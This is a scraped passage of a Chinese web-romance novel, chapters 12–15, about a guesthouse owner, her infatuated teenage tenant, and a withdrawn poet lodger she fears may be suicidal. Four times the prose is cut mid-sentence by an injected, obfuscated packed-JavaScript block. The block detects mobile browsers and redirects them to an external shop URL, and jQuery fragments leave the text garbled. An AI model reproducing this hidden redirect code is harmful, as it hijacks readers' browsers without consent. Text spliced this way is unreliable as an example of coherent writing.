女方又冲男方大骂:“你还不如一个陌生人关心我!” 男方反驳道:“我想背你,你把我推开。” “我推你怎么了?你也该摔一跤!” 两人又吵起来了,琼云不耐烦,去扯屈朗的衣服,轻声在他耳边说:“走吧,不关我们的事。” 屈朗皱着眉,一脸担忧:“既然看到了,怎么能不管呢?她要真动不了,我们帮忙把她抬下去吧。” “我们下山帮忙打个电话就行了,摔个跤又要不了人命。” “救援人员没那么快能赶过来的,万一碰上野兽呢?” 琼云突然眼神一凛:“你是不是又在打什么鬼主意?不想被你爸妈带回去就自己想办法,不要连累我。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197690|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你怎么这样想我?!”屈朗这么一吼,眼睛立刻红了,那对男女也瞬间安静下来。 “啊!” 琼云冷不丁掐了一把女方的大腿,女方痛得叫出声,骂道:“你掐我干嘛?” 琼云扭头看向女方,道:“痛说明还有知觉,你不介意的话,我帮你检查一下。” 女方收起怒容,默许琼云接下去的行为,摸了骨头,看了痛处皮肤颜色,又测了膝跳反应,骨头没有明显错位,痛处皮肤没有肿胀,神经也没受损。 检查完毕,琼云突然跳起来大喊了一声:“蜈蚣!” “啊!哪里?”女方吱哇乱叫地也跟着跳起来,腿脚灵活地躲到她男友身后去。 “那丛鸡枞我还没挖完。”琼云转身往回走。 屈朗与那对男女尴尬地对视了一眼,迈开腿小跑两步,紧跟到琼云屁股后头,那对男女又隔了两三米跟在“两位本地人”的屁股后头。 返回的途中,屈朗叫了好几声琼云的名字,琼云始终没有理睬他,等琼云来到那丛没挖完的火把鸡枞旁蹲下,屈朗干脆有话直说,不管琼云听不听,身体依旧是把下巴搁在肩膀上的别扭姿势。 “你还在生我的气吗?因为我编瞎话让我妈迁怒到你身上。” 琼云不语,专心挖土,这种情绪很复杂,她自己也一时难以说清。 “你很希望我回去吗?” 希望,又不希望——但“希望”是出于理智,“不希望”是出于感情。琼云认为自己应该“希望”,在还没有喜欢到分别会感到痛苦的地步,尽快分别是好事。 琼云说:“你迟早都要走的,现在不走,等到开学,还是要走。” “可是人还迟早都会死的呢,迟早都要死,难道刚出生就该去死吗?” “是啊,人迟早都会死的……”琼云望向远处发呆。 屈朗以为挑起了她的伤心事,快速转移话题:“我们快回去吧,我饿了。” 琼云回过神,低下头去继续挖鸡枞,等挖完了,挑另一条道,一路找菌子找回去,途中,他们看到了火红滚烫的日出,采到的菌子几乎装满整个背篓。 回到家,卸下菌子,琼云又出了趟门,去领昨晚电话预订下的一只老母鸡,是养在山上的走地鸡,卖家帮忙宰杀,领回来立即下锅,和处理干净的菌子一起炖。 琼云往八仙桌上叠了大圆桌,请屈朗一家吃午饭,饭后邹晓菲正式给琼云道了个歉,紧接着一家三口就要离开琼云家,马不停蹄赶往机场。 屈朗的行李早在午饭前就已经收拾好搬到了楼下,但等真要走了,他又磨蹭半天迈不动步子。 “我不想走。”他对父母说。 邹晓菲瞪他:“那你收拾行李干嘛!?刚才跟我装乖呢?” 屈朗小声道:“你一直催我嘛。” “哎呦都是我错?”邹晓菲举起一只巴掌来,“耳光没吃够是不是?不要逼我再当着外人的面打你。” 屈朗突然硬气起来:“你打我我也不想回去!” 邹晓菲被激得立刻扑上去就要打,但屈延峰及时把她捞了回去:“行了,晓菲,你再打他也没用,我跟他说,别激动。” 屈延峰安抚好妻子,走到儿子跟前,搭着他的肩,问:“你真的不想回去?” “不想。”屈朗摇头。 “你很喜欢她?”屈延峰用下巴指站在一旁观战的琼云。 屈朗看了眼琼云,有些娇羞地点了点头:“喜欢。” “你喜欢她什么呀?” 屈朗又看了眼琼云,继续娇羞地答:“哪都喜欢。” 邹晓菲突然插嘴:“我看你是喜欢她做的饭,给你吃美了不想走。”她刚才道歉时还顺带夸了几句琼云的厨艺,以己度人。 “爸爸支持你!”屈延峰用力拍了一下儿子的肩。 “什么?”邹晓菲目瞪口呆,转而露出怒容,骂道:“屈延峰你脑子也有病是不是?!” “真的啊?”屈朗两眼放光,崇拜又感激地望着父亲。 “手机拿出来,”屈延峰勾勾手,“把密码解开。” 屈朗乖乖照做。 屈延峰往手机上戳了几下,戳出六个密码框给屈朗看:“输进去。” 屈朗看清屏幕上的内容,脸上兴奋的笑容瞬间凝结,他不敢置信地回头看了眼父亲,父亲面露慈祥的微笑。 一定是错觉,再看一眼,再看一眼,再看一眼…… “输入密码。”屈延峰微笑着重复道。 屈朗把手挪到屏幕前,艰难地伸出食指,颤颤巍巍地把密码框戳满小黑点。 转账成功。 “还有。”屈延峰戳了几下,又戳出六个密码框,“输进去。” 屈朗再次颤颤巍巍地把密码框戳满小黑点。 转账成功。 “什么时候想清楚了,给爸爸妈妈打个电话,给你买机票,再见。”屈延峰慈爱地拍了拍儿子的肩,紧接着搂过邹晓菲,朝大门口走去。 屈朗痴呆般立在原地望着父母的背影,琼云不必看他的手机屏幕,也知道屈延峰做了什么事情。 等父母的背影完全消失在视野,屈朗才稍微缓过点神来,他点开自己的两个电子钱包,看了又看,看了再看,竟然都是0耶! 确认了这个事实,屈朗抬头看向琼云,看着看着,突然开始发笑,紧接着又给琼云来了一套秀才三连招——尴尬羞涩地笑——用拳头捂嘴——扭头惊讶。 琼云无情地道:“不能赊账。” 13.第 13 章 琼云最近被太多莫名其妙的事情浪费掉了太多的时间,所以她今早吃早餐时喝了一杯双倍浓缩咖啡,打算缺勤今日份午休,进行一个班的加。 她无情拒绝屈朗疑似可能大概也许会提出的赊账请求后,就进到工作室里去刨木屑,刨了约莫六七分钟后,屈朗突然进来,拎了个小木凳一屁股坐到她旁边,往手机上戳了几下,然后对她说:“收一下转账。” 琼云把手机连上网,戳进微信一看,屈朗给她转过来一个月的租金。 这短短几分钟是从哪变出来的钱? 琼云大惊:“你不会去借网贷了吧?” 屈朗摇头:“没有,我跟朋友借的。”愿意借给他四位数的那位梁山好汉对他的揣测更是过分,问他是赌博了还是吸毒了还是被仙人跳了,不敢跟父母要,管野爹借,并善意地警告道:不要让我在戒戒那儿看到你! 琼云松了口气,但没收下转账,只是问道:“你为什么不和你爸妈回去?” 屈朗略微噘起嘴说:“要是没遇到你,说不定我今天就和我爸妈回去了。” 听到前半句,琼云就嫌弃又害怕地往后侧仰去,远离他,同时举起一只手掌拦在两人之间:“别说是因为我。” 屈朗却不收势,还歪起脑袋,笑得十分灿烂:“可是我喜欢你呀,我想每天都看到你。” 这个疯子!她爹还在旁边呢! 琼云迅速扭头看向师庆,师庆虽然注意到了她的视线,与她对视,但脸上表情淡淡的,毫无“女儿可能会被精神小伙拐走”的担忧。 “你要不要跟我谈恋爱啊?” “不谈!”琼云果断拒绝,却立刻心虚地躲开视线——他的心太透明,映照着她不诚实的态度,令她十分羞愧。 屈朗收起笑容,质疑道:“那你为什么要带我上山去采菌子?” 琼云正气凛然地抬起头,注视着他的眼睛,解释道:“你不是想去吗?你原本今天就要走的,带你去了,也算不留遗憾。” 屈朗嘿嘿一笑,娇羞地道:“我第一天来的时候跟你说的话,你都记得啊~” 靠!怎么把自己往坑里带?琼云抱头,手上的细小木屑钻进发丛,头又白洗了。 “我们还不熟悉的时候说的话,你都放在心上……” “我们现在也不熟!”琼云突然插嘴。 屈朗呆了一呆,紧接着恍然大悟:“你想慢慢来啊?我们刚认识没几天,谈恋爱是有的太快了。” 这无比自信的脑回路搞得琼云鬼火冒:“你也太自恋了!我说了不谈你没听到?” 屈朗登时怔住,片刻后却又是嘿嘿一笑:“那你人真好,不喜欢我也想让我不留遗憾。” 琼云拿他没办法,只能转移话题:“你接下去怎么办?总不能一直找朋友借钱吧?你待在我这做什么呢?之后还要填志愿,回学校拿档案,你也不回去吗?等大学开学,你是新生,要军训,说不定八月份就要去报到。” 这些的确是需要考虑的问题,屈朗收起风花雪月的心思,掐住自己的下颌认真思考了一下,然后回答道:“我是出来玩的,又不是出来上班的,但如果只花一个月去打工,很难找到愿意要我的老板,而且赚的那点钱也不够花,所以……” “所以你打算回家。”琼云期待他做出这个决定。 屈朗的身体倾向琼云,神秘兮兮地道:“所以我可以给人拍照啊,暑假是旅游高峰期,而且这附近景点这么多,我可以一边玩一边赚钱。” 真是一点也不亏待自己。 但有一个很重要的问题:“你的相机被砸坏了。” 提起这件事,屈朗就好恼,他仰头望向天花板,感慨道:“修理的费用都够买台新的了。” 琼云的眼珠骨碌一转,突然想起:“我都没问过你这件事情是怎么解决的。” “赔钱同意和解呗。”屈朗低下头来为她讲述,突然想起开心的事情:“不过他现在还在拘留所里关着呢,那台单反很贵的。” “可是修理的费用再贵,赔偿金终究不在你手上,买不来一台新的相机。” “继续借钱啊。”解决问题的方式就是这样简单的。 琼云:“……” “不用借多,只拍人像不用买太贵的,而且可以分期付款。”屈朗信心十足,认为自己把事情规划得万无一失,“啪”的一声,两掌相合,片刻后,他又将这合十的双掌贴到脸侧,有些不好意思地道:“摔我相机那男的跟我妈说,我勾引他女朋友,我妈被气得不轻,骂回去说是他女朋友勾引我,我妈脑回路特别简单,她就是被这件事给激的,才一上来就骂你的,对不起啊。” 琼云小幅度摇了摇头,说:“阿姨和我道过歉了,这件事已经过去了。”心中却在想,屈朗这样爱四处拈花惹草的男生,即便自己再喜欢,也不是适合恋爱的对象。 这话说完,接下去有一段时间,工作室里没有任何人再说话,所有人只能听到雕刻刀凿木头的声音,或者机械的嗡嗡声。 屈朗一直安静地坐在琼云身旁,捧着脸看她刨木屑。 琼云被看得不自在,于是对他说:“你不去午休吗?” 屈朗知道这是赶他走的意思,咬了咬嘴唇,就拎起行李箱上楼去了。 等人没了影,师庆才开口将憋闷在心里很久的话吐出来:“这小娃娃年纪太轻,不牢靠呢,你跟他耍朋友,爹不安心噶。” 琼云满脸疑惑:“爹,你咋个说呢我好像要跟他结婚一样嘛,朋友都没有耍上,八字都没得一撇。” 师庆仿佛只听到了“结婚”这两个字:“他家爹妈太强势了,特别是他妈,这个婆娘太厉害咯,怕是不会同意她儿子嫁来我们家做上门女婿噶。” 琼云有房产要继承,自然不能嫁出去,必须娶个回来,但琼云还年轻:“爹你想老多咯,等暑假一完,他就走咯。” 师庆点点头表示同意,思绪却没停下:“囡儿,你要不要耍个朋友瞧瞧,喊人给你介绍一个。” 琼云疯狂摇头,重复“不要”两个字,嘴巴发射子弹:biu biu biu biu biu…… 隔天,琼云亡羊补牢,给二楼两间卧室的当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217368|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心间装了个监控,前天在网上下的单,这天刚好到货。 安装的过程中,师庆同时站在一名男人和一位父亲的角度上,建议琼云给她自己的卧室配一把新钥匙,往后在白天,也要把卧室门锁死,即便她的卧室里已经没有什么值钱的东西了。因为琼云是女孩,容易遇到变态,在变态的眼里,女孩的贴身衣物可以比值钱的东西更值钱,尤其在隔壁厢房恰好住着一个明确表示喜欢她的男生的情况下。 而当父女俩在谈论这些事情的时候,听到安装动静的屈朗恰好准备进来凑热闹。 师庆没有在别人背后说坏话刻意压低嗓音的习惯,他怀疑屈朗的品行就像英国人谈论天气一样理所当然。 于是琼云不经意地往门外那么惊鸿一瞥,就发现站在门槛外的屈朗正以一种痴呆的表情看着她。 琼云愣了一下,然后假装无事发生,走出去与屈朗擦肩而过,站在走廊上欣赏了一下楼下庭院中的花,花很狂,叶很绿,没死,欣赏完,她又旁若无人地回去了,转身的瞬间,只听耳畔一阵幽怨的声音传来:“我哪有那么猥琐?” 屈朗为这件事跟琼云闹了几天脾气,一直没主动和琼云说话,脸上也不见笑容,直到附近的快递驿站发给他一条短信。 他兴奋地把相机包裹从驿站取回来,正式开始实施他的创业计划,第一步,是在社交平台上打广告。 他需要一位模特,最好是免费的,为了节省资金,顶多出个友情价,比如请客吃一顿饭。 恰好管悠是一个又爱美又爱炫耀又大方又颜控又不经夸的女人,又恰好屈朗是个拥有在牛郎店凭借叫“紫啧”得到香槟塔之天赋的男人,于是两人一拍即合,开开心心地出去拍照了。 在相机发货前,琼云就听到两人在商议这件事了,但她没兴趣也没工夫去凑热闹,她有自己的事情要做,比如刨木屑、接收家具订单、接待新的租客。 新租客是个戴着眼镜的年轻男人,皮肤很白,体型略胖,身高大约有一米八,但看起来并不魁梧,反而很文气,大概是戴眼镜的缘故,他要在琼云家住上一个星期。 他的行李不多,只有一个旅行背包,来的这天是个大晴天,没有半滴雨水,于是琼云只骑了自行车过去为他引路。 他住进了屈朗对面,也就是屈朗父母前些天刚住过的房间,有人气,还很干净,而且对门是男性,更方便。 新租客放下行李,将房间打量了一圈,琼云做好挨夸的准备,可他却是吟诵诗句一般说道:“上帝在第一天创造了光,区分出昼夜,第二天分离了空气和水,于是有了天空,第三天形成了陆地和植物,于是有了生命,第四天创造出日月星辰,第五天创造水中的鱼和天上的飞鸟,第六天创造了人类、昆虫、野兽,第七天……” 第七天迟迟没有下文,琼云问道:“你是基督徒吗?” 新租客摇头:“不是,我只是觉得圣经里这段关于上帝创造世界的描写很美。” “……” “这个房间也很美。” 终于挨夸了,琼云觉得她的任务完成了。 14.第 14 章 新租客姓关,他对琼云说,称呼他老关就行,他的同事和同学们都是这样称呼他的,琼云当场面露尴尬之色,因为当地方言中的同音词汇“老倌”一般是用来称呼父亲或丈夫的,他这样说,就好比一个姓霸或者姓宫的人让别人称呼他“老霸”或“老宫”。 老关不是本地人,不懂本地的方言,不是刻意要占琼云的便宜,但无意之中占的便宜也是便宜,琼云婉拒了这个亲切的提议,恭敬地称呼老关为“你”。 老关是个文艺青年,天生有爱美之心,他对摆在工作室博古架上的那些木雕非常感兴趣,琼云离开他的房间下楼去刨了没一会儿木屑,他也就跟着下来了。 他在博古架前来回走动,偶尔像监考老师一样来检查一次琼云和师庆的工作进度,期间有一阵没一阵地抛出疑问,这些疑问有的由师庆作答,有的由琼云作答,再由师庆来进行补充。 “您还带徒弟吗?”老关突然问了一个只有师庆本人能作答的问题,他的好奇心已经到达了想要亲自上手雕刻出一件作品的地步——师庆是这样想的。 师庆说:“以前带过,但是现在的年轻人嘛,没几个愿意来学这些东西的。” 老关点点头,表示赞同,搬了张小凳坐到师庆身旁,推了一下眼镜,双手比划起来,说道:“现在有很多手工体验馆,像景德镇那边自制陶瓷早就发展得很成熟了,城市里还有拼豆啊、烧玻璃啊之类的,我来的路上也看到很多店铺,体验做轧染衣服、做银器……这也是传统手工艺传播和发展的一个好的途径。” “现在社会发展得好,不愁吃不愁穿,这些东西学着苦,也赚不到钱,只能变成娱乐项目了。”师庆捡了块砖头大的木头递给老关,“你试试。” 老关接到手里,师庆又抓了一把大小不一的雕刻刀放到他跟前:“刀很利的,你小心。”工作台很大,足够容纳下老关这个从零刚起步的学徒。 然而师庆刚提醒完没多久,老关的手指就被雕刻刀给凿破了。 血从伤口里溢出来,鼓成一颗血珠,越鼓越大,直到手指无法承住它,就开始啪嗒啪嗒地往下滴,滴到木砖上,渗进去,逸散开,滴到地上,裹干净一小块地面,细小的木屑和灰尘使它变得浑浊,失去鲜红的光泽。 老关仿佛不具备一名智力正常的成年人应该拥有的处理这种意外的能力,他只是看着手指上的血在流,也许是文青病犯了,觉得血从伤口里流出来的样子很美,像上帝用七天创造世界一样美。 师庆距离老关最近,最先发现他的异样,哎呦了一声,连忙抽纸巾给他擦血。 天天动刀的工作,流血很常见,旁边的储物柜常年储备着创口贴和绷带,琼云听见动静,扭头看了眼,立即就知道发生了什么事情,放下手头的活,起身去拿创口贴。 琼云把创口贴递给老关时,看到了他左手手指上不断向外溢血的伤口,很快,也发现了他同一只手的手腕上那两道粗长的疤痕。 琼云结合老关刚才在楼上卧室里说的那些莫名其妙的话,心中突然有种很不好的预感,情不自禁暗骂了一句脏话。 她觉得自己得找个大师做场法事化化霉运了,最近怎么会有这么多牛鬼蛇神往她家钻? 这人可别死在她家里啊! 不过这种焦虑的情绪很快被阿桐给打断了。 阿桐找到了房子,过来把她的两只宠物蜘蛛拎走,顺便请琼云吃晚饭,吃乔迁之宴,乔迁之宴是一顿烧烤和几罐菠萝啤,很好吃,宴后,两人还去看了场电影,饭钱由阿桐出,电影票由琼云出,那部电影很难看,难看到琼云觉得钱白花了,从影厅出来一直到其中一个先打到车离开之前,她们一直在吐槽。 琼云回到家时已经将近晚上十点,刚进门,就听到楼上有人在叫她。 是管悠,她站在屈朗的房门外,抓着护栏,一脸兴奋地朝琼云勾手:“上来上来。” 琼云上去了,管悠捎了把当心间的凳子,把她往屈朗房间里引,一边引一边问:“很少见你晚上出门啊,出去玩了吗?” 琼云嗯了一声,如实作答:“和朋友吃了顿饭,然后看了场电影。” “你和谁去看电影?”坐在书桌旁的屈朗一副发现自家婆娘出轨的震惊表情,向琼云发出质问。 琼云一时间还真被震慑住了,愣了一会儿,随后冷笑一声,道:“人啊,总不能是狗吧?电影院不让带宠物进去。” 屈朗继续问:“男生还是女生?” 琼云懒得理他——双标的玩意儿,嘴上说喜欢她,和别的女生拉拉扯扯的时候也没见考虑她的感受啊,有什么资格质问她? “来来来,坐。”管悠把书桌旁自己原来坐的椅子让给琼云,然后挨着琼云坐到捎来的凳子上。 笔记本电脑上显示着的是管悠今天拍的照片,她有些扭捏地对琼云说:“你帮我选选发哪几张好嘛,我挑不出来~”眼中却闪烁着自信且兴奋的光芒,比起让琼云挑照片,更想向琼云炫耀自己的美貌。 屈朗点了幻灯片播放,每隔五秒钟跳到下一张照片。 管悠被自己美一大跳,娇羞但力大如大力水手,搡了屈朗一把,险些让他表演了个掉凳儿:“哎呀都怪你,把我拍得这么好看,我都挑不出来了。” 琼云隔在两人中间,被误伤,身体晃了一晃,但心很坚定,一直盯着照片看。 照片上大刀阔斧修改过的只有整体的色调和构图,人脸和身材几乎没动过,对比现实中的管悠,即便是不熟络的人,也能一眼将她认出。 以人像为主的照片,将人物磨皮整容过度会丧失质感,屈朗显然没犯这种低级的错误。其中一张阳光下的大头照,甚至能看清脸上的毛孔和痣,以及沿轮廓分布的蒲公英般的绒毛。 而且每张照片的风格都很清新很阳光,没有剑走偏锋,是大众都能接受的类型,用来打广告再合适不过。 翻过几张单人照,突然跳出了一张双人照,一男一女举止亲密,其中男方那张阴险狡诈的面孔,即便化成灰,琼云也认得:“还跟你对象拍婚纱照了?” 管悠纠正道:“这不是婚纱照,这叫情侣照,哎呀我还不想结婚啦,我要谈一辈子恋爱……”她说到这里突然少女捧腮,看向天花板遥想未来:“其实婚纱我也想穿,中式西式都想体验一下。” 琼云企图把话题掰回来:“单人的挑三分之二,双人的也发两张。” 管悠回过神来:“只发单人的,阿源很害羞诶,他不想在网上发自己照片,是我硬把他拽来拍的哈哈。” “你再问一下他呢?”琼云抄手抱胸,视线重回屏幕,“可以出个情侣套餐,男生一般不会主动来拍这种照片,但被女朋友拉过来就不一样了,尤其是年轻的情侣,最容易冲动消费,我刚才在电影院里也看到,晚上黄金档,消费主力也是情侣啊。” “我怎么感觉你在骂我?” “你和男生看的电影啊?” 管悠和屈朗几乎同时发出声音。 “哈哈我开玩笑的。”管悠搂住琼云,戳了一下她的脸颊,“小云云,你挺有商业头脑的嘛,我问问阿源。” 屈朗表情复杂地喃喃:“小云云……” 琼云还没来得及为这恶心的称呼做出任何反应,这恶心称呼的发明者就瞪着屈朗教育道:“没大没小!叫姐姐。” 屈朗报复性地叫了一声:“小悠悠~”紧接着模拟反胃的症状栩栩如生地哕了一声。 管悠一巴掌呼过去,转而对着琼云又是另一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230245|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面孔:“对了,过两天就是端午节了,我今天出去拍照看到他们在搭舞台,说有表演啊,还有人在练习划龙舟,我们到时候要不要一起去玩?” 琼云热情回应:“好啊,我刚才和朋友吃饭的时候,她也问我要不要去呢。” “你这个朋友是男生还是女生?”屈朗还在纠结这个问题,突兀地插嘴进来,十分扫兴。 琼云懒得理他,管悠代她回应:“男生男生,你满意了吧?” 屈朗满意了,一直等到挑完照片,琼云和管悠离开他的房间,都没再问起过这个问题。 管悠选好自己的美照以后就立即回去睡觉了,但琼云没有,她见老关房间的窗户还亮着,于是去敲门送温暖。 老关很快就把门打开了,显然还没上床。 琼云看了眼他左手上的创口贴,关切道:“创口贴如果要换,床头柜抽屉里就有,防水的,你洗澡或者洗漱的时候沾到水,伤口就不会痛。” 老关点了点头。 琼云接着道:“最近蚊子比较多,但是晚上睡觉,蚊帐关严的话,基本上不会被咬到……还有角落里可能会有一些小虫子,你不喜欢和它们共处一室的话可以跟我说一声,我拿药喷一下,最好是白天不睡觉的时候,可以散散味道。” 老关依旧点了点头。 “还有……反正……有问题的话就跟我说一声,任何问题,你心情不好也可以找我。”琼云摊掌指着自己胸口,像推荐一款优秀产品,“可以向我倾诉。” 老关还是点了点头。 琼云露出有些尴尬的笑容:“没什么事了,你早点休息吧,晚安。” 老关点了点头,把门关上了。 “我心情不好,可以向你倾诉吗?” 冷不丁从身后传来的声音,吓得琼云一个激灵。 转过身,果然是屈朗那小子。 “吓我一跳!” 屈朗走到琼云跟前,委屈地问:“老关的房租要贵一点吗?为什么他的待遇这么好,心情不好……” “嘘。”琼云将食指竖在唇间,紧急叫停,指指楼梯口,低声道:“下去说。” 两人下去了,琼云把灯打开。 屈朗疑惑道:“什么事情这么神神秘秘的?” 琼云不打算跟屈朗说关于她怀疑老关会自杀的事情,怕他说话太直接,刺激到老关,只道:“你心情怎么不好,要倾诉赶紧倾诉,倾诉完就走。” 屈朗的眼神清澈起来:“今天跟你出去吃饭看电影的朋友是男生还是女生啊?” “女的。” 屈朗总算松了口气,“是把蜘蛛放在你这的那个朋友吗?” “是。” “那你是同性恋吗?” “……”琼云一时语塞,随后脑海中浮现出了阿桐帅气的面孔,她用割喉的手势在自己身上比划了一下阿桐头发的长度,解释道:“虽然我朋友留的是短发,长得也很帅,看起来像个铁T,但她是个直女,我也是直女。” 屈朗哦了一声,道:“那你喜欢她吗?” 琼云摊手:“我说我是个直女。” “你不喜欢她呀,那你喜欢年纪大点的,还是年纪小的?你那么关照老关,你是不是喜欢他呀?” 琼云目瞪口呆。 “年纪大比较成熟,老关虽然有点胖,但有的女生会觉得这样的男人看起来很有安全感。”屈朗掏出手机检查了一下自己幼稚但帅气的长相,又低头看了眼与老关相比算很细狗的身材,然后掐住下颌感慨道:“那我岂不是没机会了?” 整个流程走得太过丝滑,琼云甚至插不上嘴,只能在事后吐槽道:“你爸妈不用纠结你选什么专业了,你这个逻辑推理能力能考上大学吗?” 15.第 15 章 琼云对老关的关照似乎太过头了,不仅时常在老关卧室的门口和窗户底下探头探脑,还对老关嘘寒问暖,送自己做的糕点和饮品,任何一个尊重他人性癖自由的人看了,都会认为她正在追求老关。 尊重琼云个人性癖自由的屈朗对此感到非常不满:“明明我跟你更熟,但是你对老关比对我还上心。” “吐出来。”琼云指着屈朗手里已经被啃掉一口的蛋清豆沙饼质问道,“我没给你吃是不是?” 屈朗把脸皱成一团,尖着嗓子连绵起伏地怪叫了一声,然后说道:“这不一样,你是为了他做的。” “对啊,那咋了?”琼云的语气和表情理所当然到有些飞扬跋扈。 屈朗被这股气焰打压得瞬间冷静下来:“你真的喜欢老关啊?” 琼云突然笑了:“我老倌我当然喜欢啦。”不管是“老倌”还是“老倌”,一个是她的亲人,一个是她在将来会喜欢到决定与之结婚并相伴一生的人,当然都是她喜欢的人。 “那……”屈朗突然散发出了偶像剧默默守候女主的深情男二号气质,“你是不是不好意思跟他表白啊?为了送点心给他吃,给所有人都送了……”他忧郁的眼睛遥遥望向对面老关的房门,他启动了一个伟大的决心—— “老关——”屈朗突如其来的一嗓子所产生的威力差点把琼云掀翻在地。 老关开门出来了。 屈朗指着琼云,对老关说:“老关,她喜欢你。” “你是不是脑子有病?”琼云目瞪口呆。 “不好笑。”老关面无表情地评价道。 “没开玩笑,她真的喜欢你,只是不好意思跟你表白,你看她这么关心你。”屈朗转动手腕摊开手掌,指尖朝着琼云,从头扫到腰,如同向他人展示一件艺术品。 老关的视线从屈朗真挚的眼睛挪到琼云灵魂出窍的脸上,给予告白应给予的答复:“什么眼光?” 突然遇到这么自卑的人,好不适应啊。 琼云情不自禁笑出了声,对上屈朗的视线时,屈朗以迅雷不及掩耳之势打了个“不”的手势:“不用谢,祝你幸福。”说完即刻转身,留给琼云一个自以为很潇洒帅气的背影,咔哒一声将房门锁死。 琼云笑得难受,一口气没提上来,堵得嗓子眼疼——他的喜欢质量这么轻,结构松散得如同沙子,风轻轻一吹就会改变形状,简直就像是在跟她开玩笑。 老关没有把房门关上,仿佛正在等待琼云向他走去。 琼云也确实托着盛满蛋清豆沙饼的盘子走到了他的跟前,像生怕乖孙撑不死的老奶奶一样和蔼可亲地问道:“还有很多,你还要吗?” 老关摇头拒绝,随后淡定地说道:“你怕我自杀。” 果然是想要自杀的人,好敏锐! 琼云收起和蔼可亲的笑容。 老关接着道:“你放心,我不会死在你家里。” “可以告诉我原因吗?我说过,不光是房间的问题,你想倾诉也可以随时找我。” 老关双目失神,望着琼云身后的地面说道:“往者不可谏。” 但是“来者犹可追”,这个句子的完全体含义是积极向上的——老关只说前半句是因为他只认可前半句,还是说他虽然至少自杀过两次但内心其实是很乐观的呢? 不大可能是后者。 但还有第三种可能是他没文化硬要装逼。 不管怎样,继续这个话题都很容易踩雷,琼云干脆略过,切入另一个:“你很喜欢诗。”她打扫他的房间时,看到书桌上摆放着很多诗集。 提及“诗”,老关的双眼瞬间聚焦,甚至比平常更为清澈明亮,人的喜恶是最真诚最难以克制的情绪。 “你自己也写吗?” “写。”老关兴奋地点了点头。 这就对了,诗人嘛,都很喜欢自杀的。 琼云问:“你愿意和我分享你写的诗吗?” 老关愣了愣,苍白的脸上突然浮显出一种红晕,他略微侧身,手朝身后的里屋伸去:“请进。” 孤男寡女待在卧室里可不妙,琼云偏脸指屋外:“你带上你的诗集,我们到楼下去,我泡一壶茶。” “好。”老关爽快答应。 片刻后,两人携着诗集来到楼下会客厅,围着茶几面对面而坐,琼云泡茶,老关念自己的诗,那些诗关于风、关于眼泪和海水、黄金和青苔、树影和梦境…… 这场活动最终是因为琼云接到客人的电话要骑自行车出门去为客人引路而告一段落的,这位更新的客人为端午节的三天连休而来。 端午节假期将至,紧接着就是暑期旅游高峰,民宿价格将会随着供不应求的市场局势而上涨,琼云原本可以大赚一笔,但碍于管悠和屈朗这两个占便宜的长租客不知道要赖到什么时候,而她自己作为老板也缺乏合理分配资源使利益最大化的商业天赋和经验,导致只能“中”赚一笔。 所以琼云的心情不太好。 但管悠的心情更是差到极点,因为阿源拒绝把他们两个人的合照发到网上,她在天还没黑的时候气势汹汹地从外面回来,叉着腰站在琼云面前,向琼云吐槽这件事。 “我又没有强求他给小朗做模特,我自己的账号发一下都不行,昨天敷衍我,今天还跟我发脾气,想CPU老娘,反了他了。” 琼云给她倒了一杯茶,又给她递了一块饼:“坐下来说。” 管悠接过饼,坐下来,一大口下去差点把陷全部啃没,狼吞虎咽有些堵嗓子,她用茶水送下去,然后接着说:“他什么意思啊,他长得又不丑,发个照片怎么了,不能好好说话,还敢凶我。” 琼云一边刨木屑一边说:“他要是长得丑你也看不上他。” “就是嘛,一对金童玉女多好看呐。”管悠说到这里突然摆动了一下肩膀,捧着脸用撒娇的语气说道:“那两张真的拍得很好看啊~” 琼云提出改良建议:“你对象不愿意发就算了,你把他截出去嘛,就发你自己。” “不行,那样构图就毁了,你知道什么叫构图吗?黄金分割线,黄金螺旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239328|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把他截掉就掉到青铜了。” 